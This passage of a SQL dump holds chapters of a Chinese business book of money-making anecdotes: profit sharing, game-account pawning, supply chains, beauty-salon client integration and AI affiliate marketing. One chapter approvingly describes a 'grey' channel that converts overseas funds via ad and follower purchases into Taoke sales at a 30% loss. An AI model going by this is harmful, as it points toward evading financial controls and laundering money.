云阿米巴:分不属于自己的钱\n\n\"分钱不是分自己的钱,是分多出来的钱。\"\n\n2025年11月25日,周二,下午3点。\n\n那天没开派对房,而是在线下见了个做餐饮的老朋友庄总。\n\n茶还没泡开,他就开始倒苦水:\n\n\"卡若,现在的员工太难管了。给少了不干,给多了我亏。我想搞股权激励,他们说不要画饼,要现钱。\"\n\n我笑了笑,把茶杯推给他。\n\n\"庄总,你这是想分自己的钱给别人,当然心疼。\"\n\n\"你有没有想过,分不属于你的钱?\"\n\n庄总愣了一下:\"什么叫不属于我的钱?\"\n\n---\n\n我说:\"传统的阿米巴,是把公司拆成小核算单位,让员工像老板一样算账。\"\n\n\"但无论怎么算,还是在分老板兜里的钱。\"\n\n\"云阿米巴不一样。\"\n\n\"我们不分存量,只分增量。\"\n\n庄总问:\"什么是增量?\"\n\n我说:\"比如,我有30个抖音号,每天稳定播放量1万+。\"\n\n\"这流量我不变现,它就是数据,一分钱不值。\"\n\n\"如果你能接得住这些流量,转化成客户,那产生的利润,就是我们共同创造的\'增量\'。\"\n\n\"这笔钱,本来不存在,是因为我们合作才有的。\"\n\n\"所以我分给你,我不心疼;你拿到了,你也开心。\"\n\n---\n\n庄总若有所思:\"那你这个模式的核心是什么?\"\n\n我说:\"三个字:不占股、分现钱、稳流量。\"\n\n\"第一,不占股。\"\n\n\"我不要你的股份,你也不要我的股份。\"\n\n\"我们只是合作,不是合伙。\"\n\n\"第二,分现钱。\"\n\n\"别跟合作方谈什么\'年底分红\',太远了。\"\n\n\"我们的规则是:T+1结算,或者周结。\"\n\n\"钱到了口袋里,才是落袋为安。\"\n\n\"第三,稳流量。\"\n\n\"我每天给你导流,你每天给我转化。\"\n\n\"流量稳定,收入就稳定。\"\n\n---\n\n庄总拍着大腿说:\"哎呀,我之前非要拉着店长入股,让他掏钱,他肯定不干啊!\"\n\n\"如果我按你这个说法,他多卖一份,我就立马分他一份钱,不需要他承担房租水电,他肯定玩命干!\"\n\n我说:\"对,就是这个道理。\"\n\n\"人性是经不起考验的,尤其经不起诱惑。\"\n\n\"与其用\'未来可能上市\'的饼去忽悠人,不如用\'今天成交,明天到账\'的钱去激励人。\"\n\n---\n\n庄总问:\"那你怎么落地的?\"\n\n我说:\"两个东西:流量池和私域系统。\"\n\n\"流量池是金。\"\n\n\"我手里有30个本地创业者账号,每天视频一发,流量就来了。\"\n\n\"这些流量是精准的,是看过我内容、认可我观点的人。\"\n\n\"对于合作方来说,流量就是命。你能给他解决流量问题,他就离不开你。\"\n\n\"私域系统是水。\"\n\n\"流量来了,得接得住。\"\n\n\"客户进了群,谁转化的?谁服务的?谁成交的?\"\n\n\"系统里记得清清楚楚。\"\n\n\"每一笔订单,系统自动分账。\"\n\n\"你是运营,你拿运营的钱;你是销售,你拿销售的钱。\"\n\n\"不用等到月底财务算账,每一单都清清楚楚。\"\n\n---\n\n我给庄总讲了一个真实的案例。\n\n2024年,有个做美业的慧娟找到我。\n\n她技术很好,但店里没客流,员工也懒洋洋的。\n\n我跟她说:\"你别管流量,我给你导流。你别管员工管理,用我的系统分钱。\"\n\n我们就做了一件事:\n\n我把抖音上的本地爱美女性流量导给她。\n\n她的员工只要在系统里接单、服务、好评。\n\n每一单,员工多拿20%的提成(这部分钱从我的流量转化里出)。\n\n慧娟自己少赚点,但客流翻了3倍。\n\n结果呢?\n\n第一个月,她的店业绩翻了两番。\n\n员工像打了鸡血一样,因为每天手机上都能看到\"入账提醒\"。\n\n慧娟也不用天天盯着员工干活了,系统盯着呢。\n\n---\n\n庄总问:\"那你每个月营收多少?\"\n\n我笑了笑,给他看了一眼手机后台。\n\n\"数字不重要,重要的是,这上面的每一分钱,都已经分给了该拿钱的人。\"\n\n\"我留下的,是系统,是人心,是源源不断的流量。\"\n\n---\n\n那天聊完,庄总说了一句话:\n\n\"卡若,你这套东西,核心不是技术,是人性。\"\n\n我说:\"对。\"\n\n\"你舍得分钱,别人就愿意帮你干活。\"\n\n\"你分的越多,帮你干活的人越多。\"\n\n\"你帮的人越多,你的系统就越大。\"\n\n---\n\n云阿米巴的本质,不是\"分钱\"。\n\n是\"分多出来的钱\"。\n\n不分存量,只分增量。\n\n不占股,分现钱,稳流量。\n\n你舍得分钱,别人就愿意帮你干活。\n\n这,才是生意的真相。\n', 1572, 0, 1.00, 40, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.910', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (49, '9.1', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '游戏账号私域:账号即资产', '# 9.1 游戏账号私域:账号即资产\n\n账号不是一次性卖掉的货,是会生息的资产。\n\n2025年10月22日,周三,早上6点40分。\n\n天还没完全亮,我照例打开派对房。\n\n一个年轻人的头像在等待区闪烁,他上麦的时候声音里带着一丝焦虑。\n\n他说:\"我做游戏账号,现在行情不稳定,我能不能做成私域?\"\n\n我问:\"你有多少\'可抵押\'的账号?\"\n\n他愣了一下:\"什么意思?\"\n\n我说:\"账号不是\'一次性卖掉的货\'。账号是\'可抵押、可复购、可增值\'的资产。\"\n\n---\n\n在派对房的真实聊天里,我们聊过\"高端账号2-4折典当\"的模型。\n\n不是为了做金融噱头,是为了把\"账号的价值\"从一次性交易变成\"长期关系\"。\n\n你把账号做成资产,你就有现金流、复购与转介绍。\n\n这个逻辑适用于任何有\"沉淀价值\"的东西——不只是游戏账号。\n\n---\n\n第二天线下约见,我们在咖啡馆聊了两个小时。\n\n我让他把账号做成\"账号卡\"。\n\n**账号卡六项**:\n\n等级与稀有度、绑定风险与合规状态、近三个月活跃与消费记录、可抵押估值、托底方案、主人与联系方式。\n\n第一眼看过去,这不是\"游戏的快乐\",这是\"资产的形状\"。\n\n他听完说:\"这套东西我自己琢磨不出来。\"\n\n我说:\"所以你需要有人帮你梳理,帮你建结构。\"\n\n---\n\n**抵押分层规则:**\n\n- **稀有高分账号**:四折抵押,30/60/90天周期,利率与服务费透明\n- **中等分账号**:三折抵押,周期缩短,随访与风控加重\n- **风险高账号**:不可抵押,仅做估值与辅导\n\n抵押期30/60/90天,利率与服务费写进合同,全部走公账,托底是\"冻结与取回的预案\"。\n\n不是把账号\"卷入灰区\",是把账号\"拉进合规的现金流\"。\n\n---\n\n**账号的三类价值:**\n\n1. **使用价值**:玩得爽\n2. **社交价值**:身份稀有\n3. **金融价值**:可抵押可循环增值\n\n把三类价值放进私域,你就可以做三类内容与服务:\n\n- 使用内容:攻略/搭配/带练/陪玩\n- 社交内容:稀有展示/身份故事\n- 金融内容:估值与抵押的规则与流程\n\n他问我:\"这三类内容怎么生产?\"\n\n我说:\"我们有一套内容SOP,可以帮你快速上手。\"\n\n---\n\n**社群三分:**\n\n- **训练群**:每天发三条\"当下可用清单\":当天活动/最省钱搭配/带练时间表\n- **稀有群**:每周做一次\"身份故事与展示\",让稀有价值可见\n- **金融群**:每月做一次\"估值更新与抵押规则说明\"\n\n三群各司其职,不是\"一个群里什么都聊\"。\n\n这套社群结构,是我们在多个项目里验证过的。\n\n---\n\n**风控清单五项:**\n\n1. 绑定与IP风险标注\n2. 交易历史与异常记录\n3. 冻结/取回预案文本化\n4. 触发类事件的响应SLA\n5. 合规边界说明(拒绝灰色交易与脚本作弊)\n\n---\n\n第二个月,我们跑了一套\"小批量\"的模型。\n\n10个账号,分三层估值与抵押。每个账号的现金流、使用与社交价值都在看板里。\n\n结果是:\n\n- 抵押利息与服务费覆盖了运营成本\n- 代练与陪玩的复购提升了40%\n- 稀有展示带来的转介绍增加了25%\n\n这不是\"大赚一笔\",这是\"长期稳定与结构可复制\"。\n\n他后来跟我说:\"如果没有那次线下约见,我可能还在原地转圈。\"\n\n---\n\n**\"账号即资产\"清单:**\n\n1. 做账号卡六项:等级/风险/活跃与消费/估值/托底/主人。\n2. 做估值模型:历史消费与活跃/社区稀有度/风险打分,用表单与看板复盘。\n3. 做中台两看板:客户看板与资产看板,节点SLA与责任人明确。\n4. 做社群三分:训练/稀有/金融,内容与服务分轨执行。\n5. 合规与风控:公账/冻结与取回预案/风险标注,拒绝边缘操作。\n6. 抵押分层:四折/三折/不可抵押,周期与利率与服务费写进合同。\n7. 每月再估值与规则调整,把资产管理做成纪律。\n\n如果你也在做类似的事情,欢迎来派对房聊聊。\n\n我们不收费,但我们会筛选——只跟认真做事的人深聊。\n', 1515, 0, 1.00, 41, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.921', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (50, '9.10', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '淘客大佬:损耗30%的白色通道', '# 9.10 淘客大佬:损耗30%的白色通道\n\n\"你以为自己缺项目,其实你缺的是一条\'钱能进来\'的路。\"\n\n2025年11月1日,周六,早上6点45分。\n\n那天派对房的话题有点敏感,聊到了\"灰色地带\"。\n\n天还没亮,屏幕上已经有人开始说项目。\n\n他说的不是\"怎么卖货\"。\n\n他说的是\"怎么把钱变得能用\"。\n\n---\n\n他先问我一句:\"在跑吗?\"\n\n我也不绕。\n\n我说:\"还在跑。\"\n\n他继续:\"但是我一直说去,他不愿意让我去。\"\n\n我听到这句,脑子里先冒出来的不是情绪,是结构。\n\n我问:\"你知道那肯定可以付费学习。\"\n\n他像是在解释,又像是在跟自己较劲。\n\n\"我说我希望能帮你做大,或者说帮你再组建两个团队出来。\"\n\n\"说给你剩50%他都不愿意。\"\n\n我笑了一下。\n\n不是嘲笑,是那种\"你终于碰到真相了\"的笑。\n\n---\n\n我说:\"这个挣钱的事情你要让他参与,他为什么要让你参与?\"\n\n然后我把话说得更直。\n\n\"因为他放大了很容易。资金一大把。很多人是提着现金去合作的。\"\n\n我停了一下。\n\n我故意不说\"你有没有资源\"。\n\n我说的是更狠的那句:\"资金我们出啊。\"\n\n你听懂了吗。\n\n这不是在讲\"你能不能干\"。\n\n这是在讲\"你能不能进牌桌\"。\n\n---\n\n我继续往下推。\n\n\"就是人。他需要什么人?我们来架构来帮他找。\"\n\n\"然后我们其他的地方成立两个小的工作室。\"\n\n\"比如一个工作室二三十个人。\"\n\n这话说出来,房间里一下子安静了。\n\n我知道他们在脑补。\n\n二三十个人,两间工作室,再加一个操盘手。\n\n这已经不是\"做点副业\"。\n\n这是\"要起盘\"。\n\n---\n\n但他马上又回到现实。\n\n他说:\"我知道你想找他们复制这一帮。他基本都不会太缺钱的。他经常像缺钱。\"\n\n我接话:\"对,像。\"\n\n我不想让他们把\"像缺钱\"当成真缺钱。\n\n这种人,不是没钱,是把钱放在更安全的地方,是把\"流速\"藏起来。\n\n---\n\n我举了一个他们听得懂的数字。\n\n\"早些年有个公众号,人家是提着8000万的现金。16年。\"\n\n这句话像一块铁,砸在地上。\n\n你不需要再问\"一个月营收多少\"。\n\n你只要看他\"敢不敢提着8000万去谈合作\"。\n\n我又补了一句。\n\n\"他们最近前天刚拍了一套,在厦门岛内的中心,一片商业的物业。1.12个亿。眼睛都不眨,全款。\"\n\n房间里有人打字,有人不信,有人沉默,有人开始问:\"那他们为什么不合作?\"\n\n---\n\n我把答案说得更难听一点。\n\n\"普通项目会这么想。这个有点灰的,他们不会这么想。他们都想做小。\"\n\n你看,这就是矛盾。\n\n越能挣钱的路,越怕放大。\n\n---\n\n我继续讲。\n\n\"就像做淘客的。境外的资金进不来。他们干嘛呢?直接去抖音的巨量引擎买量。投流买粉。买粉丝完之后直接到淘客群里面去做变现。\"\n\n我把这句话拆成更白的话。\n\n钱进不来,那就先变成\"投流的钱\",再变成\"群里的成交\",最后把它变成\"你看得懂的收入\"。\n\n我说:\"就这么一道直接就是损耗30%钱。\"\n\n有人听到这里,第一反应不是风险,是心疼。\n\n30%。\n\n这在普通生意里就是毛利。\n\n但在这条线里,30%是\"通行费\",是\"能不能落地\"的成本。\n\n---\n\n我又往上拉了一层。\n\n\"你看人呐,如果真正想做懂的人,你有多少的资金量愿意跟他合作。\"\n\n我不问他\"你做什么类目\"。\n\n我问的是:你愿不愿意把自己的筹码摆上桌。\n\n他问我:\"你们会对什么比较感兴趣?\"\n\n我说:\"我们类目就是属于相当于肯定要体量。刚开始可能小一点没关系。跑通了以后可能就要稍微大一点。但不能直击事物本身。\"\n\n我停了一下,把这句说得更直。\n\n\"你直击那不是形成外交事件吗?\"\n\n房间里有人笑,笑完又安静。\n\n---\n\n我知道他们在想什么。\n\n他们想的是\"怎么赚快钱\"。\n\n我想的是\"怎么别把自己弄死\"。\n\n所以我换了一个问法。\n\n我不问他\"你现在到底赚多少\"。\n\n我问他:你到底想做小,还是想做大。\n\n做小,你就靠熟人和胆子。\n\n做大,你就必须回答三个问题。\n\n但我不说那三个问题是什么。\n\n我只在对话里慢慢挤。\n\n你到底把谁当客户。\n\n你到底靠什么把钱变成成交。\n\n你到底哪一块是别人拿不走的。\n\n---\n\n如果你真想跑通,你就别把\"群\"当成聊天;\n\n你得把\"群\"当成系统。\n\n我在房间里顺手提醒了一句。\n\n\"群在左上角,派对群。\"\n\n有人说看不到。\n\n我说:\"可能版本不一样。\"\n\n我又补了一句:\"我给你拉个群,你直接跟群里的小伙伴对接就可以。\"\n\n这就是\"联系管理\"。\n\n不是装样子,是为了把人从情绪里拽出来,让他进入流程。\n\n---\n\n我最后收在一句很土的话里。\n\n但土话最有用。\n\n\"赚钱这个事情就不要太复杂。太复杂是挣不到钱的。\"\n\n我知道这句话会得罪很多人。\n\n因为他们靠\"复杂\"吃饭,靠\"概念\"抬价,靠\"故事\"收割。\n\n但这本书只记录真实。\n\n真实的人,真实的路,真实的成本,真实的选择。\n\n---\n\n你可以不做这条线。\n\n但你得看懂它。\n\n你可以不赚这种钱。\n\n但你得明白,为什么有人宁愿损耗30%,也要把钱变成\"能活下去的结构\"。\n\n这本书的真实目的,不是教你学灰。\n\n是教你识别。\n\n识别一个人,识别一条链路,识别你到底该不该上桌。\n\n---\n\n那天我其实还说了一句更刺耳的。\n\n我说:\"别人拿纸来换你的资源,我们也可以拿纸换他们的资源。\"\n\n这句话听上去像笑话,但它是现实。\n\n所谓\"纸\",不是钱,是筹码,是规则允许你用的那种筹码。\n\n我把话说得更直:\"纸这个东西是可以印的。\"\n\n---\n\n有人在公屏里问:\"那我们到底做什么类目呢?\"\n\n我没有给答案。\n\n因为类目从来不是最难的那一环。\n\n最难的是:\n\n你有没有资格把\"纸\"换成\"流量\",再把\"流量\"换成\"成交\"。\n\n你有没有把风险隔离清楚。\n\n你有没有把人放对位置。\n\n你有没有把边界写得够硬。\n\n所以我才会反复强调:\"不能直击事物本身。\"\n\n不是装神秘,是你一旦直击,你就把自己放在了最危险的那条线上。\n\n---\n\n而真正能长期跑的,反而是那种看上去\"很笨\"的结构。\n\n比如买量,比如转化,比如复购,比如社群。\n\n看上去都是老套路。\n\n但每一步都能算清楚,每一步都能停,每一步都能退。\n\n这才叫\"活路\"。\n\n---\n\n那天房间快结束的时候,我又把话绕回到最开始的那句。\n\n你以为你在找合作,其实你在找一种确定。\n\n你以为你要问的是\"能不能赚钱\",其实你要问的是\"我到底是谁\"。\n\n你到底是来做执行的,还是来做操盘的,还是来做资金的,还是来做通道的。\n\n角色不清,你就会一直卡在那句:\"他不愿意让我去。\"\n\n因为他拒绝的不是你这个人,他拒绝的是你背后那套不完整的结构。\n\n---\n\n有个做淘客的朋友后来问我:\"你们能不能帮我理一理我的模式?\"\n\n我说:\"能,但你得先想清楚一件事。\"\n\n\"你是想赚快钱,还是想做长期?\"\n\n他说:\"长期。\"\n\n我说:\"那就对了。想做长期,就得把结构搭好。结构搭好了,钱自然会来。\"\n\n\"如果你想聊聊,可以加到群里,我们有专门做这块的人。\"\n\n有时候,找到一个能帮你理清结构的人,比找到一个好项目更重要。\n', 2618, 0, 1.00, 42, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.932', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (51, '9.11', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '蔬菜供应链:农户才是最赚钱的人', '# 9.11 蔬菜供应链:集中化才是真正的印钞机\n\n\"你以为中间商赚差价,其实最赚钱的从来不是某个环节,而是把整个链条做成标准化的人。\"\n\n2025年12月15日,周一,早上6点55分。\n\n那天派对房聊到了供应链,一个做蔬菜采购的老板上麦。\n\n他的第一句话就颠覆了很多人的认知。\n\n他说:\"你们都以为中间商赚差价,其实错了。\"\n\n派对房里有人问:\"那到底谁最赚钱?\"\n\n他笑了:\"你听我慢慢讲。\"\n\n他说他做蔬菜采购十几年了,从田间地头收菜,卖给批发市场,再卖给超市、餐厅。整个链条他都走过。\n\n\"你知道这个行业里,谁的利润率最高吗?\"\n\n\"不是批发商,不是超市,也不是散户农民。\"\n\n\"是那些做了标准化、规模化的供应链龙头。\"\n\n他开始算账。\n\n单个农户种一亩地,成本两三千,产出几千到上万斤,看起来利润率50%以上。但这是理论值,实际上风险极高,天灾、病虫害、市场价格波动,一年赚钱下一年可能全亏回去。\n\n批发商呢?收菜一斤加两三毛,承担运输、损耗、仓储、账期,算下来利润率5%到10%。流水大但利润薄,本质上是在给上下游打工。\n\n超市更惨。看起来一斤菜卖三四块,加价很多。但房租、人工、水电、损耗算下来,蔬菜根本就是亏钱的引流品,不是利润品。\n\n那谁才是真正赚钱的?\n\n他说了一句话,让我印象很深:\"农业供应链里,真正赚钱的是把散装变成集装的人。\"\n\n什么意思?\n\n就是把零散的农户、零散的品种、零散的渠道,全部整合成一套标准化的体系。\n\n他举了个例子。\n\n他认识一个做蔬菜供应链的老板,不自己种地,也不自己卖菜。他做的事情是:签约大量农户,统一提供种子、统一技术指导、统一采购标准、统一物流配送。\n\n农户只管种,种出来的菜他全收。\n\n下游只管买,买到的菜品质稳定。\n\n他赚的是什么钱?\n\n是规模效应的钱,是品控溢价的钱,是品牌信任的钱。\n\n单个农户一年赚几万块,已经顶天了。\n\n这个供应链老板,一年流水过亿,净利润几千万。\n\n派对房里有人问:\"那为什么大家不都去做这个?\"\n\n他说因为这个太难了。\n\n做供应链整合,需要资金、需要人脉、需要管理能力,还需要对整个链条的深度理解。\n\n单个农户可以靠勤劳种地,单个批发商可以靠关系卖货。\n\n但供应链龙头,必须把种植标准化、采购集中化、物流体系化、品控数字化,每一个环节都做成可复制的模块。\n\n这就是为什么他说\"集中化才是印钞机\"。\n\n他又讲了一个真实案例。\n\n云南有个做蓝莓的老板,早期也是散户,一亩地投入两三万,产出能卖十几万,利润率70%以上。\n\n但他后来发现,单干永远做不大。\n\n于是他开始整合周边农户,成立合作社,统一品种、统一技术、统一销售。\n\n现在他管理着上千亩蓝莓基地,直接对接全国的商超和电商平台,成了当地的蓝莓大王。\n\n他赚的钱,早就不是种地的钱,是平台化的钱。\n\n我在派对房里总结了一下。\n\n\"刚才这位老板的分享,给了我们一个很重要的启示。\"\n\n\"什么叫产业升级?\"\n\n\"产业升级不是换个品种,不是多几个渠道。\"\n\n\"是把整个链条从散装变成标准化,从单干变成平台化。\"\n\n这个逻辑放在任何行业都一样。\n\n餐饮行业,单店老板累死累活一年赚几十万,供应链公司给几千家店供货,一年赚几个亿。\n\n服装行业,工厂老板被客户压账期压到喘不过气,供应链平台把一百家工厂整合起来,拿到的价格和账期完全不一样。\n\n大健康行业,小品牌到处找渠道找不到,大供应链公司手握几万个终端,品牌方排队求合作。\n\n核心就一句话:谁能把散装变成集装,谁就站在食物链顶端。\n\n他最后说了一段话,我记下来了。\n\n\"你想赚钱,就要往两个方向走。\"\n\n\"要么做源头,把品做到极致,让下游没办法离开你。\"\n\n\"要么做平台,把资源整合起来,让上下游都通过你来对接。\"\n\n\"卡在中间的,什么都不是,看起来流水大,其实是在给别人打工。\"\n\n派对房散场后,有个做农产品的朋友私聊我。\n\n他说他一直在纠结,是继续做小批发商,还是转型做供应链整合。\n\n我说:\"这取决于你想做多大的事。\"\n\n\"如果只是养家糊口,小批发商也能活。\"\n\n\"如果想做成一番事业,就必须往标准化、集中化、平台化走。\"\n\n他问我有没有什么资源可以对接。\n\n我说有,加到群里,我们有专门做供应链的人,有资源的对接资源,有渠道的对接渠道。\n\n做供应链这么多年,我最大的感受是什么?\n\n这个行业水很深,但逻辑很简单。\n\n散户拼勤劳,中间商拼关系,龙头拼系统。\n\n勤劳有天花板,关系会断裂,只有系统可以复制和放大。\n\n谁把供应链做成标准化的系统,谁就是这个行业的印钞机。\n\n想清楚自己要站在哪个位置,比埋头苦干更重要。\n', 1763, 0, 1.00, 43, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.946', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (52, '9.12', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '美业整合:一个人的公司如何月入十万', '# 9.12 美业整合:一个人的公司如何月入十万\n\n\"美业现在最大的问题是什么?是那些美容师手上有几百个客户的微信,但她们不知道怎么变现。\"\n\n2025年11月4日,周二,早上6点38分。\n\n最近降温,早起温度很冷,派对房里氛围却热火朝天。\n\n一个做美业整合的老板上了麦,语气里带着点自信。\n\n他说他一个人,不租店面,不招员工,月入稳定在10万以上。\n\n我问:\"你怎么做到的?\"\n\n他说:\"我把那些美容师的微信客户资源整合起来,然后用系统去运营。\"\n\n---\n\n派对房里,有人问:\"你能讲讲具体怎么做的吗?\"\n\n他说:\"好,我给你们讲一下我的模式。\"\n\n\"首先,你要知道美业现在的困境。\"\n\n\"传统的美容院,它的模式是什么?租一个店面,招几个美容师,然后靠手艺和服务去赚钱。\"\n\n\"但现在这个模式已经不行了。为什么?因为成本太高,竞争太激烈。\"\n\n---\n\n他继续说。\n\n\"一个美容院,光房租一个月可能就要两三万。\"\n\n\"再加上员工工资、水电、物料,一个月成本可能要七、八万。\"\n\n\"但你一个月能赚多少?如果你运营得好,可能能赚十来万。\"\n\n\"但大部分美容院,一个月能保本就不错了。\"\n\n---\n\n我问:\"那你的模式是什么?\"\n\n他说:\"我的模式是轻资产整合。我不开店,不招人。我只做一件事:整合那些美容师的私域客户资源。\"\n\n---\n\n他开始详细解释。\n\n\"你知道吗,一个做了五六年的美容师,她手上可能有三四百个老客户的微信。\"\n\n\"这些客户都是她一个一个服务出来的,都是有信任基础的。\"\n\n\"但问题是,这个美容师她只会做手艺,她不会做运营。\"\n\n\"她不知道怎么去激活这些客户,不知道怎么去做复购,不知道怎么去做高客单价的转化。\"\n\n---\n\n他停了一下。\n\n\"所以我做的事情是什么?\"\n\n\"我找到这些美容师,跟她们谈合作。\"\n\n\"我说,你把你的客户资源交给我来运营,我用我的系统和方法去帮你激活这些客户,然后我们分成。\"\n\n---\n\n派对房里,有人问:\"她们愿意吗?\"\n\n他说:\"一开始很多人不愿意。因为她们觉得这是她们的命根子,怎么能交给别人?\"\n\n\"但后来我换了一个方法。\"\n\n---\n\n他说:\"我不让她们把微信交给我。\"\n\n\"我给她们配一个公司的AI数智员工(AI手机),让她们把客户加到这个手机上。\"\n\n\"这个手机是她们自己用的,后台是我的系统在运营。\"\n\n---\n\n我问:\"什么意思?\"\n\n他说:\"就是我有一套数字化运营系统。\"\n\n\"这个系统可以分析每个客户的消费记录、偏好、最后一次消费时间等等。\"\n\n\"然后根据这些数据,自动生成个性化的问候语、推荐话术、活动信息。\"\n\n\"美容师只需要按照系统的提示去发消息就行了。\"\n\n---\n\n他继续说。\n\n\"但关键是,高价值的客户,系统会标记出来,提醒美容师亲自去维护。\"\n\n\"因为有些事情系统做不了,必须人去做。\"\n\n\"比如说一个客户最近刚离婚,情绪不好,这时候你发一条促销信息过去,那是找死。\"\n\n\"你应该发一条关心的话,问问她最近怎么样,有没有什么可以帮忙的。朋友圈一条人为的有温度的评论,而不是冷冰冰的僵硬问候。\"\n\n\"这种情感连接,系统目前代替不了。\"\n\n---\n\n派对房里,有人问:\"那你怎么赚钱?\"\n\n他说:\"很简单,我们分成。\"\n\n\"客户成交了,美容师拿60%,我拿40%。\"\n\n\"但我不是只做一个美容师的生意。\"\n\n\"我现在合作了三十多个美容师,每个人手上平均有三四百个客户。\"\n\n\"加起来就是一万多个客户资源。\"\n\n---\n\n他停了一下。\n\n\"这一万多个客户,我不需要一个一个去服务。\"\n\n\"我只需要让系统跑起来,然后盯着数据就行了。\"\n\n\"哪个客户该激活了,哪个客户该做转化了,哪个客户可能要流失了,系统都会告诉我。\"\n\n\"我只需要提醒美容师去做动作就行了。\"\n\n---\n\n我问:\"那你一个月能赚多少?\"\n\n他说:\"好的时候十五六万,差的时候也有八九万。平均下来,一个月十万左右。\"\n\n---\n\n派对房里,有人问:\"那你的成本是什么?\"\n\n他说:\"我的成本就是系统的维护费用,一个月几千块。\"\n\n\"还有就是给美容师配的手机,一部手机一千多块,但这是一次性投入。\"\n\n\"所以我的毛利率非常高,基本上90%以上。\"\n\n---\n\n我问:\"你这个模式能复制吗?\"\n\n他说:\"能,但有门槛。\"\n\n\"第一,你要有这套系统。这套系统不是市面上能买到的,是我们自己开发的。\"\n\n\"第二,你要能谈得下来这些美容师。这需要信任,需要时间。\"\n\n\"第三,你要懂运营。不是说有了系统就能赚钱,你还要知道什么时候该做什么动作。\"\n\n一、二、三都有了 团队还得经常磨合、复盘、迭代,循环自运转。\n\n---\n\n他继续说。\n\n\"但最核心的是什么?是你要理解这个行业的痛点。\"\n\n\"美业的痛点是什么?是流量成本越来越高,但客户的复购率越来越低。\"\n\n\"传统美容院的做法是什么?是不断去获客,不断去打广告,不断去做活动。\"\n\n\"但这样只会越做越累,越做越亏。\"\n\n---\n\n他停了一下。\n\n\"我的做法是什么?是把存量做深,而不是去追增量。\"\n\n\"那些美容师手上的老客户,就是最好的存量。\"\n\n\"她们已经有了信任基础,已经有了消费习惯,只是需要被激活而已。\"\n\n---\n\n我在派对房里总结了一下。\n\n\"刚才这位老板的模式,给了我们一个很重要的启示。\"\n\n\"什么叫轻资产?不是说你不花钱,而是说你把重的部分外包出去,自己只做最核心的部分。\"\n\n---\n\n我继续说。\n\n\"他的模式里面,重的部分是什么?是服务、是手艺、是客户关系。\"\n\n\"这些他都不做,都交给美容师去做。\"\n\n\"他只做什么?只做系统、只做运营、只做整合。\"\n\n\"这就是轻资产的本质。\"\n\n---\n\n我停了一下。\n\n\"但这个模式有一个前提——————你要有核心竞争力。\"\n\n\"他的核心竞争力是什么?是那套系统,是他对行业的理解,是他整合资源的能力。\"\n\n\"如果没有这些,你想复制他的模式,是不可能的。\"\n\n---\n\n有个做美业的朋友后来问我:\"你们这套系统能不能帮我用?\"\n\n我说:\"能,但你得先想清楚一件事。\"\n\n\"你是想自己干,还是想找人帮你干?\"\n\n他说:\"找人帮我干。\"\n\n我说:\"那就对了。找对的人帮你干,比自己干更轻松。\"\n\n\"如果你想了解更多,可以加到群里,我们有专门做这块的人。\"\n\n---\n\n这本书的真实目的,不是教你去复制别人的模式。\n\n而是告诉你,每个成功的模式背后,都有它的底层逻辑。\n\n美业整合的底层逻辑是什么?\n\n第一,存量比增量更有价值。\n\n第二,系统比人力更有效率。\n\n第三,整合比自营更轻松。\n\n但前提是,你要有整合的能力。\n\n没有能力,再好的模式也跟你没关系。\n', 2497, 0, 1.00, 44, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.957', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (53, '9.13', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', 'AI工具推广:一个隐藏的高利润赛道', '# 9.13 AI工具推广:一个隐藏的高利润赛道\n\n\"你知道吗,现在有一个赛道,几乎没人做,但利润高得吓人。\"\n\n2025年12月9日,周二,早上7点02分。\n\n那天派对房里聊到了AI变现,一个声音很年轻的男生突然上麦。\n\n他说他做AI工具推广,一个月能赚五六万,但几乎不用花什么时间。\n\n我问:\"什么叫AI工具推广?\"\n\n他说:\"就是帮那些海外的AI工具做分销。\"\n\n---\n\n派对房里,有人问:\"能具体讲讲吗?\"\n\n他说:\"好,我给你们讲一下这个模式。\"\n\n\"你们知道现在市面上有很多AI工具,对吧?\"\n\n\"ChatGPT、Midjourney这些是最火的,但除了这些,还有很多垂直领域的AI工具。\"\n\n\"比如AI视频剪辑、AI写作、AI建站、AI客服、AI数据分析等等。\"\n\n---\n\n他继续说。\n\n\"这些工具大部分都是国外的公司做的。\"\n\n\"它们想进入中国市场,但它们没有本地的销售团队。\"\n\n\"所以它们会开放一个\'联盟计划\',就是affiliate program。\"\n\n\"你帮它推广,有人通过你的链接注册或者付费,你就能拿到佣金。\"\n\n---\n\n我问:\"这个佣金有多少?\"\n\n他说:\"这就是最关键的地方。\"\n\n\"普通的电商联盟,比如淘客,你推广一个商品,佣金可能是商品价格的5%到10%。\"\n\n\"但AI工具的联盟计划,佣金比例非常高。\"\n\n\"有些是首次付费的30%到50%,有些是终身分成,就是这个用户只要一直付费,你就一直有佣金。\"\n\n---\n\n他停了一下。\n\n\"你想想,一个AI工具的订阅费可能是一个月20美元、50美元、甚至100美元。\"\n\n\"如果你能拿到30%的佣金,一个用户一个月就能给你带来6美元到30美元的收入。\"\n\n\"如果是终身分成,这个用户用一年,你就能赚几十美元甚至上百美元。\"\n\n---\n\n派对房里,有人问:\"那你怎么推广?\"\n\n他说:\"我主要是在私域群里推广。\"\n\n\"我有几个做AI相关的社群,里面都是对AI感兴趣的人。\"\n\n\"我会在群里分享一些AI工具的使用教程、测评、对比。\"\n\n\"然后在内容里面带上我的推广链接。\"\n\n---\n\n他继续说。\n\n\"但我不是硬推,我是真的去用这些工具,然后分享我的使用体验。\"\n\n\"哪个工具好用,哪个工具性价比高,哪个工具适合什么场景。\"\n\n\"群友觉得有用,自然就